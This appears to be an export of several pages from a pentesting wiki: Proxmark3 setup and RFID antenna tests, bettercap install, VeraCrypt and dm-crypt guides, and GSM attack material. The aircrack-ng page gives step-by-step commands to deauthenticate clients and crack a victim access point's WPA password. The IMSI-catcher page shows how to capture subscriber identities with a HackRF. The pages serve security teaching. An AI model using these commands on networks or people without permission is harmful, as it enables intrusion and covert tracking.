* On Linux you have to make shure you remove of disable the ModemManager (this is usally pre-installed to interact with (2G,3G,4G) devices.
* Remove ModemManager
: <code>sudo apt remove modemmanager</code>
* Download repostiory:
: <code>git clone https://github.com/RfidResearchGroup/proxmark3.git</code>
* cd into repo
: <code>cd proxmark3</code>
* Or update to the newest version:
: <code>git pull</code>
; Compile source code
* Enable Bluetooth module
: <code>cp Makefile.platform.sample Makefile.platform</code>
: <code>nano Makefile.platform</code>
: And uncomment the line <code>#PLATFORM_EXTRAS=BTADDON</code> by removing the <code>#</code> & save changes by pressing <code>ctrl+x</code>
* Compile source code
: <code>make clean; make -j8</code>
: <code>sudo make install</code>
* Add access rights
: <code>make accessrights</code>
: Now log off and log on again.
* Connect the Proxmark3 to the computer
* Flash the firmware
: <code>./pm3-flash-bootrom</code>
: <code>./pm3-flash-all</code>
; Connect wirelessly to the Proxmark
* Turn on the Bluetooth module (both switches to on)
* Find MAC address
sudo hcitool scan
Scanning ...
aa:bb:cc:dd:ee:ff PM3_RDV4.0
* Bind your BT add-on MAC address to a serial port
: <code>sudo rfcomm bind rfcomm0 aa:bb:cc:dd:ee:ff</code>
* If connecting the first time:
bluetoothctl
[bluetooth]# pairable on
[bluetooth]# scan on
Discovery started
...
[CHG] Device aa:bb:cc:dd:ee:ff Name: PM3_RDV4.0
[bluetooth]# trust aa:bb:cc:dd:ee:ff
[bluetooth]# pair aa:bb:cc:dd:ee:ff
[agent] Enter PIN code: 1234
[bluetooth]# quit
* Else, open the Proxmark client
: <code>proxmark3 /dev/rfcomm0</code>
: Now the Proxmark LED should stop blinking and turn solid blue. THe Proxmark client should show the default interface.

== Antennas ==

The Proxmark3 RDV4 optionally ships with high-frequency (hf) and low-frequency (lf) antenna kits. They include a medium and long-range antenna. The following will show the differences between them.

=== High-Frequecy Antenna Kit ===

The hf-antenna kit comes with two antennas that are advertised as medium- and long-range antennas. The store [https://lab401.com/products/proxmark-3-rdv4-long-range-hf-antenna-1 lab401] says the range of the default antenna is about 40-85mm, medium-range antenna about 90mm, and the long-range has a reach of 100-120mm. A small test of mine concludes that this statement is only partially true.

<div><ul>
<li style="display: inline-block;"> [[File:Prox hf normal.jpg|thumb|none|x300px|Default HF-Antenna]] </li>
<li style="display: inline-block;"> [[File:Prox hf med.jpg|thumb|none|x300px|Medium-Range HF-Antenna]] </li>
<li style="display: inline-block;"> [[File:Prox hf long.jpg|thumb|none|x300px|Long-Range HF-Antenna]] </li>
</ul></div>

I tested the range of 4 different cards:

* Card 1: HF-Card shipped with the RDV4: NXP MIFARE CLASSIC 1k Gen1A S50
* Card 2: Student-Card: NXP MIFARE DESFire 4k
* Card 3: Portugal, Proto MetroCard: Ultralight EV1 48bytes (MF0UL1101)
* Card 4: SkiData Card: EM-Marin SA (Skidata); EM4233

(!) denotes that the readings were inconsistent:
The card only got recognized from time to time
(!!) denotes that the readings were '''very''' inconsistent:
Only if lucky the card got recognized
/ denotes that the card got not read at all

{| class="wikitable"
|-
! scope="col" | Card
! scope="col" | Default-Antenna
! scope="col" | Medium-Range Antenna
! scope="col" | Long-Range Antenna
|-
! scope="row" | Shipped HF-Card
| 8 cm
| (!!) 0 cm
| (!!) 2 cm
|-
! scope="row" | Student-Card
| 5 cm
| (!) 0 cm
| (!) 7 cm
|-
! scope="row" | Metro-Card
| 8 cm
| /
| (!) 11 cm
|-
! scope="row" | SkiData-Card
| 7 cm
| 7 cm
| 11 cm
|}

The results show that the antenna reach depends heavily on the card trying to read. The most consistent results came from the default-antenna that ships with the RDV4. As shown, the optional antennas did cope with the NXP Mifare cards very poorly but show improvements for the SkiData card.

=== Low-Frequency Antenna Kit ===

Sadly I do not have any lf-cards on hand and could not test the range of the given antennas.

The lf-antenna kit comes with two antennas that are advertised as medium- and long-range antennas. The store [https://lab401.com/products/proxmark-3-rdv4-01-long-range-lf-antenna-pack lab401] says the range of the default antenna is about 66 - 72mm, medium-range antenna about 90mm, and the long-range has a reach of 110 - 133mm. But as shown above, for the hf-antenna this depends heavily on the lf-card itself.

<div><ul>
<li style="display: inline-block;"> [[File:Prox lf med.jpg|thumb|none|x300px|Medium-Range LF-Antenna]] </li>
<li style="display: inline-block;"> [[File:Prox lf long.jpg|thumb|none|x300px|Long-Range LF-Antenna]] </li>
<li style="display: inline-block;"> [[File:Prox lf switch.jpg|thumb|none|300px|LF-Antenna Switch]] </li>
</ul></div>

The optional antennas come with 2 switches: (source: [https://lab401.com/products/proxmark-3-rdv4-01-long-range-lf-antenna-pack lab401])

; Q-Switch
: The Q-Switch has two settings: 14 (Extended Range) and 7 (Extended Accuracy).
:: Q-Switch setting of 14 will give up to 30% further read range (on lf search / lf hid read etc commands).
:: Q-Switch setting of 7 will give better writing performance on T55XX and EM410XX tags.

; Frequency Switch
: The frequency switch allows for tuning to specific tag types: 125KHz or 134KHz.

== Used Hardware ==

[[Proxmark3 RDV4 Kit]]

[[Proxmark3 RDV4.0 BT & Battery Addon Blue Shark]]

[[Proxmark3 RDV4.0 HF Antennas]]

[[Proxmark3 RDV4.0 LF Antennas]]

== References ==

* https://www.proxmark.com
* https://www.hackerwarehouse.com
* https://www.lab401.com
* https://github.com/RfidResearchGroup/proxmark3

[[Category:Documentation]]
[[Category:Pentesting]]

Install Bettercap on Kali Linux

2024-03-12T18:31:49Z

Ikramer:

== Summary ==

This documentation describes how to install bettercap 2.x on Kali Linux

== Requirements ==

* Operating system: Kali Linux amd64 2019.2
* Packages: wget unzip

== Installation ==

=== Step 1: Download ===

Download the latest version of bettecap:

wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_[0-9.]+zip' | head -n 1`"

=== Step 2: Installation & Testing ===

Unzip and move the package:

unzip bettercap_linux_amd64_*.zip
mv bettercap /usr/local/bin/

Clean up & test package:

rm README.md LICENSE.md
bettercap -version

If the last command prints the bettercap version e.g.:

[[File:installBettercap_01.png]]

the installation was successful.

== References ==

* https://www.bettercap.org/
* https://google.com

[[Category:Documentation]]
[[Category:Pentesting]]

Aircrack-ng: How to crack WPA/WPA2 passwords

2024-03-12T18:28:45Z

Ikramer:

== Summary ==

This documentation is a step-by-step guide explaining how to use the aircrack-ng program suite to crack passwords of Wireless Access Points using WPA or WPA2. The guide is meant for usage on *NIX systems capable of installing and running aircrack-ng. Results are based on tests that were run on the Kali Linux custom image for VMware (Kali Linux 2020.4 64bit) wich is maintained and provided by Offensive Security [https://images.kali.org/virtual-images/kali-linux-2020.4-vmware-amd64.7z]. The used client software was VMware Workstation Pro 16.1.0 build-17198959 and the used host system was Windows 10 Home Edition (64 bit).

== Requirements ==

* Operating system: Kali Linux
* Packages: aicrack-ng program suite

If you want to install aircrack-ng from source, click here [https://www.aircrack-ng.org/doku.php?id=install_aircrack] to access the official documentation.

On the image that was used (Kali Linux 2020.4 64bit for VMware by Offensive Security), the aicrack-ng program suite is already preinstalled. Just type '''sudo aircrack-ng''' in the shell to get an overview of available options. You will only need a few specific programs and options for cracking WPA/WPA2 PSK, which are explained in the following sections.

== Description ==

If you want to learn more about the inner workings of aicrack-ng's WPA/WPA2 PSK cracking, you can read more on the section about [[Password Cracking]].

Before we get down to the nitty-gritty, there is some information that has to be known to be able to "get cracking".

What we need:

MAC address of machine running aircrack-ng suite
MAC address of wireless client using WPA/WPA2
BSSID (MAC address of victim access point)
ESSID (Wireless network name)
Access point channel number
Wireless interface name

We need all of this to fill out the necessary portions of the following commands.

The guide itself was summarized from official documentation [https://www.aircrack-ng.org/doku.php?id=cracking_wpa] and tested in my home network.

'''Disclaimer: The following guide must not be used on networks without permission. Doing so is illegal and can result in criminal charges.'''

=== How to use aircrack-ng for cracking ===

1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
3. Use aireplay-ng to deauthenticate the wireless client
4. Run aircrack-ng to crack the pre-shared key using the authentication handshake

=== Used Hardware ===

Before we start, there is one thing more that needs to be addressed. To be able to capture and inject packets, it is neccessary to put the network interface card (NIC) of the machine running the aircrack-ng program suite into so called "promiscuous mode". In general, NICs do not use this mode, as they do not need to read packets that are not addressed to them. Since we are trying to do something "out of the ordinary" here (e.g. capture all network traffic and inject our own packets) we can only succeed if our NIC knows that it should do exactly that.

This can be done by either manually updating the drivers [https://www.aircrack-ng.org/doku.php?id=patching], which can be quite cumbersome, or by buying a Wireless USB Adapter using a chipset that is supported by the machine running the aircrack-ng suite. In our special case, we do not even have the freedom of doing our own dirty work - according to Kali Linux official documentation regarding virtual machines, we are forced to use an adapter, as patching only works in a native environment.

The problem is that a lot of products are available who promise to do what we want, but not a lot of them actually work. Oftentimes, chipsets are not compatible with Kali Linux, which would make the device unusable for our purposes. For this specific documentation, the USB Wireless Adapter "Panda Wireless PAU05" for 802.11n was used, and the product version was 2.6.15. If you use this device, you should be fine - but only in 2.4 Ghz range. Also, high digit channels like 111 are not supported. Sorry!

If you want to be 100% sure if your device is up to the job, you can manually test injection capabilities by entering the following commmand in the shell:

'''sudo aireplay-ng -9 -e <ESSID> -a <BSSID> <interface>'''
-9 means injection test
-e is the wireless network name that is shown (ESSID)
-a is the MAC address of the victim access point (BSSID)
<interface> is the wireless interface name from the machine you are running aircrack-ng on

=== Step 1 ===

Use airmon-ng to disable the network-manager service and prevent it from overwriting our settings, and to start capturing traffic on the channel used by the victim AP.

Enter these commands in the shell

'''sudo airmon-ng check kill'''
'''sudo airmon-ng start <interface> <channel>'''

=== Step 2 ===

Start airodump-ng on the AP channel to collect the 4-way-handshake (only occurs when a client connects to the AP)

Enter this command in the shell

'''sudo airodump-ng -c <channel> --bssid <BSSID> -w psk <interface>'''
-c is the number of the channel used by the wireless access point
--bssid is the MAC address of the victim access point. This eliminates extraneous traffic.
-w psk is the file name prefix for the file which will contain the IVs. Captured files are saved automatically to the folder you run aircrack-ng from.
<interface> is the interface name.

=== Step 3 ===

Use aireplay-ng to deauthenticate AP client. You need this to force it to reconnect if it was already connected to the AP when you started capturing traffic. You need the 4-way-handshake for cracking, and if you do not deauthenticate the client by force (through packet injection) you will have to wait until it disconnects and reconnects again, which can take a long time, or maybe will not happen at all. This is why you need a NIC or Adapter that is capable of packet injection.

Enter this command in the shell

'''sudo aireplay-ng -0 1 -a <BSSID> -c <client> <interface>'''
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a is the MAC address of the victim access point
-c is the MAC address of the wireless client you are deauthing
<interface> is the interface name

=== Step 4 ===

Run aircrack-ng to start a dictionary attack on the PCAP file (the file containing all the captured packets).

Enter this command in the shell

'''sudo aircrack-ng -w /link/to/passwordlist -b <BSSID> psk*.cap'''
-w is the full path to the dictionary file used for cracking. You don't need to specify full path if the file is located in the same directory.
*.cap is the extension of files containing captured packets. Through usind the wildcard * all files are included that have the *.psk ending.

Important: You need to use a dictionary attack to be able to crack WPA/WPA2 passwords. Brute forcing does not work. Cracking WPA/WPA2 passwords after getting the 4-way-handshake will only work if the password is in the list. If the victim AP makes use of a randomly generated password of a certain (large) size, our chances of getting the password will be next to nil. So always choose a robust password for your own setup, to make evil hackers lifes miserable!

== Other Guides ==

* Getting started with aircrack-ng [https://null-byte.wonderhowto.com/how-to/hack-wi-fi-getting-started-with-aircrack-ng-suite-wi-fi-hacking-tools-0147893/] (2013)
* Setting up Kali Linux on Raspberry Pi [https://null-byte.wonderhowto.com/how-to/set-up-headless-raspberry-pi-hacking-platform-running-kali-linux-0176182/] (2017)

== References ==

* https://images.kali.org/virtual-images/kali-linux-2020.4-vmware-amd64.7z
* https://www.aircrack-ng.org/doku.php?id=install_aircrack
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
* https://www.aircrack-ng.org/doku.php?id=patching

[[Category:Documentation]]
[[Category:Pentesting]]

Block Device Encryption - VeraCrypt

2024-03-12T18:28:07Z

Ikramer:

This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.

== TL;DR ==

<source lang="bash"># Install (https://www.veracrypt.fr/en/Downloads.html)
sudo dpkg -i $DEB_PACKAGE

# Create encrypted volume (interactive)
veracrypt -c
# Mount encrypted volume (interactive)
veracrypt $ENC_FILE $MOUNT_POINT
# List mounted volumes
veracrypt -l
# Unmount a specific Veracrypt volumes
veracrypt -d $ENC_FILE
# Unmount all Veracrypt volumes
veracrypt -d

# USE IT.
veracrypt -h
</source>
== Prerequisites ==

* Linux-based Operating System (Here: Ubuntu 20.04 LTS)
* VeraCrypt Console (Installation notes below) (Here: VeraCrypt 1.24-update7)

=== Install pre-build binary ===

This section downloads the the veracrypt package, verify its integrity and finally installs it. Get the download link for the appropriate System from <code>https://www.veracrypt.fr/en/Downloads.html</code> and copy the download link to the variable in the variable <code>DEB_PACKAGE_HREF</code>. For all unsupported Linux-based OS, proceed to the next section "build from source".

<source lang="bash"># CHANGE THIS VARIABLE TO THE DESIRED VERSION AND DISTRO
# Here: VeraCrypt Console 1.24u7 for Ubuntu 20.04 (amd64)
DEB_PACKAGE_HREF="https://launchpad.net/veracrypt/trunk/1.24-update7/+download/veracrypt-console-1.24-Update7-Ubuntu-20.04-amd64.deb"

# Helper variables used in the following for a better overview
# Simply copy paste this block to the terminal
SIG_DEB_PACKAGE_HREF=$DEB_PACKAGE_HREF".sig"
PGP_PUBLIC_KEY_HREF="https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc"
# Reference to the local file names
LOCAL_PATH="/var/tmp/"
DEB_PACKAGE=$LOCAL_PATH${DEB_PACKAGE_HREF##*/}
SIG_DEB_PACKAGE=$LOCAL_PATH${SIG_DEB_PACKAGE_HREF##*/}
PGP_PUBLIC_KEY=$LOCAL_PATH${PGP_PUBLIC_KEY_HREF##*/}
# VeraCrypt PGP public key RSA fingerprint
FINGERPRINT="5069A233D55A0EEB174A5FC3821ACD02680D16DE"

# Download the necessary files
wget $DEB_PACKAGE_HREF -O $DEB_PACKAGE
wget $SIG_DEB_PACKAGE_HREF -O $SIG_DEB_PACKAGE
wget $PGP_PUBLIC_KEY_HREF -O $PGP_PUBLIC_KEY

# Verify PGP Signature
gpg --import --import-options show-only $PGP_PUBLIC_KEY | grep $FINGERPRINT
# Only continue if the $PGP_PUBLIC_KEY matches the static $FINGERPRINT.
# Else, someone tries to trick you.
gpg --import $PGP_PUBLIC_KEY
gpg --verify $SIG_DEB_PACKAGE $DEB_PACKAGE
# Only continue if the $SIG_DEB_PACKAGE verfies the $DEB_PACKAGE's integrity

# Install the veracrypt package
sudo dpkg -i $DEB_PACKAGE
</source>
=== Build from source ===

<source lang="bash"># Required packages (Adapt to the OS specific package manager)
sudo apt update && sudo apt install yasm make gcc pkg-config fuse libfuse-dev

# Download source code
git clone https://github.com/veracrypt/VeraCrypt /var/tmp/VeraCrypt
# Won't build without this library eventhough the NOGUI bit is set
git clone https://github.com/wxWidgets/wxWidgets /var/tmp/VeraCrypt/src/wxWidgets
git -C /var/tmp/VeraCrypt/src/wxWidgets/ submodule update --init 3rdparty/catch

# Build and link
make WXSTATIC=1 WX_ROOT=/var/tmp/VeraCrypt/src/wxWidgets/ wxbuild -C /var/tmp/VeraCrypt/src/
make WXSTATIC=1 -C /var/tmp/VeraCrypt/src/
sudo mv /var/tmp/VeraCrypt/src/Main/varacrypt /usr/bin/

# Test
veracrypt --version# Here: VeraCrypt 1.24-Update7
</source>
== Procedure ==

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b><u>VeraCrypt 1.24 Parameters</u></b>:

'''Volume types''':<br />
['''1'''] Normal ['''2'''] Hidden

'''Encryption Algorithms''':<br />
['''1'''] AES ['''2'''] Serpent ['''3'''] Twofish ['''4'''] Camellia ['''5'''] Kuznyechik ['''6'''] AES(Twofish) ['''7'''] AES(Twofish(Serpent)) ['''8'''] Camellia(Kuznyechik) ['''9'''] Camellia(Serpent) ['''10'''] Kuznyechik(AES) ['''11'''] Kuznyechik(Serpent(Camellia)) ['''12'''] Kuznyechik(Twofish) ['''13'''] Serpent(AES) ['''14'''] Serpent(Twofish(AES)) ['''15'''] Twofish(Serpent)

'''Hash Algorithms''':<br />
['''1'''] SHA-512 ['''2'''] Whirlpool ['''3'''] SHA-256 ['''4'''] Streebog

'''Filesystems''':<br />
['''1'''] None ['''2'''] FAT ['''3'''] Linux Ext2 ['''4'''] Linux Ext3 ['''5'''] Linux Ext4 ['''6'''] NTFS ['''7'''] exFAT ['''8'''] Btrfs</div>

=== Create outter container ===

The outter container will be configured using a basic <code>{AES, SHA256, Password}</code> configuration and size of 25MB, for the sake of an example. Any parameters may be adapted as needed while using the <code>-c</code> flag, and are elaborated sufficiently in the interactive prompt. The <code>-h</code> flag may be used to access the help for further information. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.

<source lang="bash">veracrypt -c
</source>

Via interactive text user interface (-t, --text):
<nowiki>
Volume type: 1
Volume path: FILENAME.hc
Volume size (sizeK/size[M]/sizeG): 24414K
Encryption Algorithm: 1
Hash algorithm: 3
Filesystem: 2
Password: OUTTER_PW
PIM: [ENTER]
Enter keyfile path [none]: [ENTER]
Type at least 320 randomly chosen characters and then press Enter: [ENTER]
</nowiki>

=== Add hidden container ===

After creating the outter container, an inner hidden container can be added. The hidden container will be configured using s sophisticated <code>{AES(Twofish), SHA512, {Password, custom PIM, Keyfile}}</code> configuration and size of 5MB, for the sake of an example. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.

<source lang="bash">$ veracrypt -c</source>

Via interactive text user interface (-t, --text):
<nowiki>
Volume type: 2
Volume path: FILENAME.hc
Hidden volume size (sizeK/size[M]/sizeG): 3883K
Encryption Algorithm: 6
Hash algorithm: 1
Filesystem: 2
Password: HIDDEN_PW
PIM: 50000
Keyfile path [none]: ./Example_Keyfile.png
Keyfile path [finish]: [ENTER]
Type at least 320 randomly chosen characters and then press Enter: [ENTER]
</nowiki>

=== Mount container ===

Simply mount VeraCrypt container via text user interface <code>-t, --text</code>, which is enabled by default. Or mount in a single command referencing to <code>-h</code>.

<source lang="bash">veracrypt $ENC_CONTAINER_FILE $MOUNT_POINT
</source>
==== Example: Mount FILENAME.hc outter container ====

Via interactive text user interface (-t, --text):
<nowiki>
Password: OUTTER_PW
PIM: [ENTER]
Keyfile [none]: [ENTER]
Protect hidden volume? [No]: [ENTER]</nowiki>

==== Example: Mount FILENAME.hc hidden container ====

Via interactive text user interface (-t, --text):
<nowiki>
Password: HIDDEN_PW
PIM: 50000
Keyfile [none]: Keyfile.png
Protect hidden volume? [No]: [ENTER]</nowiki>

=== List Mounted Container ===

<source lang="bash">veracrypt -l
</source>
=== Dismount Container ===

<source lang="bash"># Specific
veracrypt -d $MOUNTPOINT
# All
veracrypt -d
</source>
== References ==

* https://github.com/veracrypt/VeraCrypt
* https://www.veracrypt.fr/en/Downloads.html
* https://www.veracrypt.fr/en/Digital%20Signatures.html

[[Category:Documentation]]
[[Category:Basics]]

Block Device Encryption - dm-crypt

2024-03-12T18:27:23Z

Ikramer:

This document describes for Linux-based systems, how to encrypt a block device using LUKS/dm-Crypt/cryptsetup and automatically unlock and map the encrypted block device on boot.

== Requirements ==

* Linux-based Operating System (''Here: Ubuntu 20.04 LTS'')
* Plain dm-crypt and LUKS encrypted volumes manager installed (<code>apt install cryptsetup</code>) (''Here: v2.2.2'')
* Block device (''e.g. partition'') that is unmapped and ready to encrypt. (''Any content will be lost!'')

== TL;DR ==

<source lang="bash"># Encrypt block device
sudo cryptsetup luksFormat $BLOCK_DEVICE
# Generate a random keyfile
sudo dd if=/dev/urandom bs=256 count=1 of=$KEYFILE
# Add keyfile to the LUKS header key store
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE
# Unlock and map the encrypted device on boot via UUID (See: man crypttab)
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`
echo "$MAPPER_NAME UUID=$UUID $KEYFILE" | sudo tee -a /etc/crypttab
# Dump the header information of a LUKS device.
sudo cryptsetup luksDump $BLOCK_DEVICE

# USE IT.
man cryptsetup
</source>

== Encryption ==

Initializes a LUKS partition and sets the initial passphrase (''for key-slot 0''). LUKS2 is used by default. All available algorithms (''cipher, hash'') are listed in <code>/proc/crypto</code> or use <code>cryptsetup benchmark</code>.

<source lang="bash"># CHANGE THIS VARIABLE TO THE APPROPRIATE BLOCK DEVICE
BLOCK_DEVICE="/dev/sdb1"

# Encrypt block device (Here: using defaults)
sudo cryptsetup luksFormat $BLOCK_DEVICE

# Verify: Dump the header information
sudo cryptsetup luksDump $BLOCK_DEVICE
# Verify: Inspect device content
sudo hexdump -C $BLOCK_DEVICE | less
</source>
'''Additional <code>luksFormat</code> parameters''':

<code>--cypher</code>: (Default: '''aes-xts-plain64''')<br />
<code>--key-size</code>: (Default: '''256''')<br />
<code>--hash</code>: Algorithm used to derive the key. (Default: '''sha256''')<br />
<code>--time</code>: The time used for passphrase processing. (Default: '''2000''') milliseconds.<br />
<code>--use-random/--use-urandom</code>: Used RNG. (Default: '''--use-urandom''')

== Auto-Mount during Boot ==

In the following a keyfile will be added to the LUKS header key store to use with <code>crypttab</code> for automatic device unlocking and mapping at boot. The resulting mapped device can be added a filesystem via <code>mkfs</code> and automatically mounted using <code>fstab</code>.

<source lang="bash"># CHANGE THIS VARIABLE TO A SAFE LOCATION TO STORE THE KEYFILE
KEYFILE="/root/key.bin"
# CHANGE THIS VARIABLE TO THE NAME OF THE DEVICE MAPPER MOUNTPOINT
MAPPER_NAME="enc_dev"

# Generate a random Keyfil and limit access
sudo dd if=/dev/urandom bs=32 count=1 of=$KEYFILE
sudo chmod 400 $KEYFILE

# Add keyfile to the LUKS key storage (max. 8)
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE
# Remove: sudo cryptsetup luksRemoveKey $BLOCK_DEVICE
# The passphrase (aka. key-slot 0) remains as backup key

# The crypttab file describes encrypted block devices that are set up during system boot.
# Format: volume-name encrypted-device key-file options
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`
echo "$MAPPER_NAME UUID=$UUID $KEYFILE" | sudo tee -a /etc/crypttab

# Reboot. Then Verify.
lsblk "/dev/mapper/$MAPPER_NAME"
</source>
== References ==

* https://gitlab.com/cryptsetup/cryptsetup/
* https://wiki.archlinux.org/index.php/Dm-crypt/Drive_preparation
* https://wiki.archlinux.org/index.php/Dm-crypt/Device_encryption
* https://wiki.archlinux.org/index.php/Dm-crypt/System_configuration#crypttab

[[Category:Documentation]]
[[Category:Basics]]

GSM IMSI-Catcher

2024-03-12T18:25:34Z

Ikramer:

== Summary ==

This article explains how to build an GSM IMSI-Catcher with the SDR called HackRF One.

== Requirements ==

* Operating system: Ubuntu 20.04 LTS (Focal Fossa)!
* Packages: git, Wireshark
* SDR HackRF One

== Description ==

=== Installation of the necessary tools ===
(Do not use any other OS than Ubuntu 20.04 LTS (Focal Fossa)!!!)

Enter these commands in the shell

git clone https://github.com/Oros42/IMSI-catcher.git
cd IMSI-catcher

sudo apt install python3-numpy python3-scipy python3-scapy

sudo apt-get install -y \
cmake \
autoconf \
libtool \
pkg-config \
build-essential \
python-docutils \
libcppunit-dev \
swig \
doxygen \
liblog4cpp5-dev \
gnuradio-dev \
gr-osmosdr \
libosmocore-dev \
liborc-0.4-dev \
swig

git clone -b maint-3.8 https://github.com/velichkov/gr-gsm.git

cd gr-gsm
mkdir build
cd build
cmake ..
make -j 4
sudo make install
sudo ldconfig
echo 'export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH' >> ~/.bashrc

=== IMSI-catching in action ===

Now that all necessary tools are installed, first thing to do is connect the HackRF One to the Computer, in case you are using a VM ensure that you mounted your USB device to the VM.

It is recommended do start each tool in separate terminals!

First start

grgsm_scanner
[[File:IMSI-Catcher1.png]]

grgsm_scanner is used to perform a GSM frequency channel scan to identify active frequencies in a given area.
This should now list the active frequencies that can be received at the current location.

----

Then start grgsm_livemon with one of the frequencies that has just been discovered in the previous step.

grgsm_livemon -f <Frequency scanned with grgsm_scanner>
[[File:IMSI-Catcher2.png]]

grgsm_livemon is used for capturing and analyzing GSM signals in a specific frequency band using a software-defined radio (SDR) in this case the HackRF One.
This should now open a GUI displaying the scanner and the terminal should show incoming Hex values received by the SDR.

----

Next up is the simple_IMSI-catcher.py this is a handy script which takes the incoming radio stream from grgsm_livemon and decodes and extracts the most important information.
sudo python3 simple_IMSI-catcher.py -s
[[File:IMSI-Catcher4.png]]

It list all the information in a nicely formatted table. This could take a minute until something is displayed. If there are issues with the scrip not displaying anything simple restart
a) the script
b) livemon
c) both
or pick an other frequency.

----

There is one extra step that can be done to display extra information, for that enter:
sudo wireshark -k -Y '!icmp && gsmtap' -i lo

[[File:IMSI-Catcher3.png]]

This command captures GSM TAP protocol packets on the loopback interface using Wireshark, excluding ICMP packets. The GSMTAP protocol is a format used for capturing GSM protocol messages over the air interface. It is a simple protocol that encapsulates GSM protocol messages inside a UDP packet.

Now it should list all gsmtap protocol packets in real time giving more information about the transmission over the connected SDR.

=== Glossary ===

ARFCN: The Absolute Radio Frequency Channel Number, which is used to identify the specific frequency used by a particular channel. This number is assigned by the network operator and is used to differentiate between different channels.

Freq: The center frequency used by the channel, measured in megahertz (MHz).

CID: The Cell IDentifier, which is a unique identifier for the specific cell (or base station) that is providing service on this channel. A value of 0 indicates that the CID is not available or not applicable.

LAC: Location Area Code, is the unique number given to each location area within the network. The served area of a cellular radio access network is usually divided into location areas, consisting of one or several radio cells. The LAC is used as a unique reference for the location of a mobile subscriber. This code is necessary to address the subscriber in the case of an incoming call.

MCC: Mobile Country Code, a unique identifier identifying the home country of a Mobile network operator. It is a three-digit identification of the country. The MCC is especially relevant for determining the country of inbound roamers.

MNC: The Mobile Network Code, which is a two- or three-digit code used to identify the specific network operator within the country identified by the MCC.

Pwr: The signal strength or power level of the channel, measured in decibels relative to one milliwatt (dBm). The less negative a value indicates the stronger the signal.

IMSI: An IMSI (International Mobile Subscriber Identity) is a unique identification number assigned to a mobile device's SIM card, and it does not contain any information about the user's personal identity, such as name or address. However, mobile network operators use IMSI numbers to associate a mobile device with a subscriber's account, which can contain personal information such as the subscriber's name, billing address, and payment details. It is used to identify and authenticate the user on the mobile network.

TMSI: TMSI stands for Temporary Mobile Subscriber Identity. It is a temporary identifier assigned to a mobile device by a cellular network. The TMSI is used as a substitute for the IMSI (International Mobile Subscriber Identity) in order to protect the privacy of the user. When a mobile device first connects to a cellular network, it sends its IMSI to the network, which assigns a TMSI to the device. The TMSI is then used instead of the IMSI for subsequent communications between the device and the network. This helps to prevent eavesdropping and other security threats by making it more difficult to track a specific device. The TMSI is updated periodically by the network, and can also be updated by the device if it detects that its TMSI has been compromised.

== Used Hardware ==

[[HackRF One Software Defined Radio (SDR)]]

== References ==
https://github.com/velichkov/gr-gsm.git
https://github.com/Oros42/IMSI-catcher

[[Category:Documentation]]
[[Category:Pentesting]]

GSM Pentesting

2024-03-12T18:24:56Z

Ikramer:

== Summary ==

This article describes two possible attack vectors in the GSM protocol. It is actually possible to do these attacks with open-source solutions. The only problem is the legal and technical situation, whether there is a way to keep the output power so low that only our devices connect to the base station, otherwise legal consequences follow if other devices and Signals are involved.

== Description ==

=== Fake Basesstation & IMSI-Catcher ===

The problem with GSM is the lack of authentication between the base station (BTS) and the end device. This enables a “man in the middle” attack to be carried out with a “rogue base station”/IMSI catcher. To do this, the system must be placed near the person to be spied on. By increasing the transmission power, the ME located in the vicinity are made to connect to this station of the attacker If the IMSI number of the person to be intercepted is not yet known, it must first be identified from the multitude of telephone calls made in the area. Professional devices such as the GA-901 from “Rohde & Schwarz” can therefore record several channels at the same time. This means that uninvolved people can also be eavesdropped. With this method, only outgoing phone calls can be eavesdropped. The outgoing call is forwarded to a "real" BTS. The so-called "MITM impersonation" uses the "Dynamic SIM cloning" method to position oneself in the uplink and also in the downlink channel between the communication partners. An "IMSI request" prompts the Mobile Equipment to disclose this unique number, which rarely occurs in normal operation. This allows movement profiles to be created, although this is to be prevented by the TMSI.

IMSI catchers are mainly used by law enforcement agencies and intelligence services to determine the locations and to create a movement profile of certain people.

=== Encryption ===

The encryption algorithm A5 is used on the air interface between the ME and the BTS. When A5 / 1 and A5 / 2 were developed in the late 1980s, the decision was made to use "Security By Obscurity", which means that the security of the process depends on the algorithm being kept secret. By 1999, both stream cipher methods were investigated by Marc Briceno and other scientists using reverse engineering and finally published.

An attack on A5 / 1 was carried out by A. Biryukov, A. Shamir, and D. Wagner in 2000. The complexity of the original 2^64 has been reduced to 2^38 and 2^48 respectively. In the meantime, “Rainbow Tables” are used to decrypt the A5 / 1. This technology shortens the computational effort in order to calculate back the correct session key, with which it is then possible to passively listen in on phone calls in real time. A modified cell phone of an older design is completely sufficient for this. A5 / 1 is used in Europe and the USA. The much weaker A5 / 2 was developed for countries where strong encryption is prohibited. According to the standardization committee, this algorithm has not been allowed to be used since 2007.

With UMTS, only A5 / 3 is used to encrypt the radio connection. Also known as KASUMI, the procedure was published in 2002. However, more security is only created by the increased complexity of the block cipher procedure. In the GSM network sections between BTS, BSC and MSC, the data is not encrypted and is transmitted via radio link if required, which means that passive eavesdropping or the interception of the session key is possible at these points.
An up-to-date overview of the security level of those cellular networks in use:

''Link: https://gsmmap.org''

The website shows Osmocom-compatible mobile phones and laptops, which are visualized on a map.

== References ==

* https://de.wikipedia.org/wiki/A5_(Algorithmus)
* https://it-forensik.fiw.hs-wismar.de/index.php/IMSI-Catcher
* https://www.tarife.at/wissen/imsi-catcher
* https://www.heise.de/newsticker/meldung/26C3-GSM-Hacken-leicht-gemacht-892911.html
* https://www.webcitation.org/5rgp2JlUf
* https://gsmmap.org

[[Category:Documentation]]
